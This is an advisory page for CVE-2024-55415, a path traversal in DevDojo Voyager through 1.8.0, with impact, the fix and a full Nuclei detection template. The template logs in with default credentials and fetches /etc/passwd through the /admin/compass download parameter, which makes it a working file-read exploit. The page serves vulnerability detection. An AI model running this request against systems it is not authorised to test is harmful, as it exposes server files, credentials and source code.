HexBrain

Browse / CVEs / CVE-2024-55415

CVE-2024-55415

DevDojo Voyager <=1.8.0 - Arbitrary File Read

highseverity
17.6%likelihood of exploitation, next 30 days
97%of all CVEs are less likely
Readycheck to confirm it

DevDojo Voyager through 1.8.0 is vulnerable to path traversal at the /admin/compass.

Impact

Authenticated attackers can exploit path traversal to read arbitrary files from the server, potentially exposing sensitive configuration files, credentials, and application source code.

Fix

Update DevDojo Voyager to version 1.8.1 or later to address the path traversal vulnerability.

How to confirm it

Send: GET /admin/login
Send: POST /admin/login
Positive when: contains(body,'/admin</title>') and status_code == 302
Send: GET /admin/compass?download={{base64('/etc/passwd')}}
Positive when: regex('root:.*:0:0:', body) and status_code == 200

Run it with nuclei: nuclei -id CVE-2024-55415 -u <target>

The full check
id: CVE-2024-55415

info:
  name: DevDojo Voyager <=1.8.0 - Arbitrary File Read
  author: iamnoooob,rootxharsh,pdresearch
  severity: high
  description: |
    DevDojo Voyager through 1.8.0 is vulnerable to path traversal at the /admin/compass.
  impact: |
    Authenticated attackers can exploit path traversal to read arbitrary files from the server, potentially exposing sensitive configuration files, credentials, and application source code.
  remediation: |
    Update DevDojo Voyager to version 1.8.1 or later to address the path traversal vulnerability.
  reference:
    - https://www.sonarsource.com/blog/the-tainted-voyage-uncovering-voyagers-vulnerabilities/
    - https://github.com/thedevdojo/voyager/blob/1.6/src/Http/Controllers/VoyagerCompassController.php#L213
    - https://github.com/thedevdojo/voyager/blob/1.6/src/Http/Controllers/VoyagerCompassController.php#L44
    - https://nvd.nist.gov/vuln/detail/CVE-2024-55415
  classification:
    cve-id: CVE-2024-55415
    epss-score: 0.17632
    epss-percentile: 0.97173
  metadata:
    verified: true
    max-request: 4
    shodan-query: title:"Voyager"
  tags: cve,cve2024,devdojo,voyager,lfr,lfi,vuln

variables:
  username: "[email protected]"
  password: "password"

http:
  - raw:
      - |
        GET /admin/login HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        part: body
        internal: true
        name: csrf
        group: 1
        regex:
          - 'name="_token" value="([a-zA-Z0-9]+)"'

  - raw:
      - |
        POST /admin/login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        _token={{csrf}}&email={{username}}&password={{password}}&

    matchers:
      - type: dsl
        dsl:
          - "contains(body,'/admin</title>')"
          - "status_code == 302"
        condition: and
        internal: true

  - raw:
      - |
        GET /admin/compass?download={{base64('/etc/passwd')}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - regex('root:.*:0:0:', body)
          - status_code == 200
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from